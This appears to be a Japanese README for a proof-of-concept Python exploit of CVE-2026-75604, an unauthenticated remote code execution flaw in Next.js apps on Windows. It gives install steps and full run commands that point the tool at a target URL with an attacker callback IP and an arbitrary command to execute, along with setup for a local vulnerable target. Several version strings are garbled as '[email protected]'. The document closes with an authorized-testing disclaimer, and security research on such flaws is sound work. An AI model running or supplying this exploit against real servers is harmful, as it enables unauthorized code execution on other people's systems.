
CVE-2026-75604の概念実証エクスプロイト。Windows上でホストされているNext.jsアプリにおける認証不要のリモートコード実行であり、コールバックベースのコマンド実行とローカルターゲットのセットアップを備えています。
Windows 上でホストされる Next.js アプリケーションにおいて、Pages Router と App Router の両方を Cache Components なしで使用している場合に発生する、認証不要のリモートコマンド実行脆弱性 CVE-2026-75604 の概念実証(PoC)となる Python スクリプトです。

>=13.4 <15.5.24 または >=16.0 <16.3.3[email protected] で検証済みです。
python -m pip install -r requirements.txt
python poc.py --target http://TARGET:3000 --callback-ip CALLBACK_IP --pages-cache-path /PATH/TO/PAGES_ISR_INSTANCE --app-cache-path /PATH/TO/APP_CACHE_INSTANCE
Server Action のパスはデフォルトで / です。フォームに複数のフィールドがある場合は --action-field を使用してください。
必須引数:
--target URL: Next.js アプリケーションのベース URL--callback-ip ADDRESS: ターゲットから到達可能な IPv4 アドレス--pages-cache-path PATH: 既存の動的な Pages Router ISR ページ--app-cache-path PATH: ファイルシステムキャッシュに支えられた既存の動的な App Router ページ任意引数:
--command COMMAND: 実行するコマンド。デフォルトは whoami--action-path PATH: 互換性のある Server Action を含む App Router ページ。デフォルトは /--action-field NAME: アクションが消費するフォームフィールド。曖昧さがない場合は自動検出されます--callback-port PORT: コールバックポート。デフォルトは 4331--listen-address ADDRESS: ローカルコールバックのバインドアドレス。デフォルトは 0.0.0.0--timeout SECONDS: リクエストおよびコールバックのタイムアウト。デフォルトは 20--insecure: TLS 証明書の検証を無効化します任意の target/ アプリケーションは [email protected] を固定し、標準の Next.js 本番サーバーを使用します:
cd target
npm ci
npm run build
npm start
別のターミナルで PoC を実行します:
python poc.py --target http://127.0.0.1:4330 --callback-ip 127.0.0.1 --pages-cache-path /pages-cache/seed --app-cache-path /app-cache/seed
任意のターゲットは、必要なルートと / 上の互換性のある Server Action を提供します。
この PoC は、教育目的、セキュリティ研究、および許可されたテストのみを目的として提供されています。所有しているシステム、またはテストの明示的な許可を得ているシステムでのみ使用してください。
evolutionstorm と b0r1 に感謝します。
この PoC は、公開アドバイザリと Next.js パッチ から独立して再構築されたものです。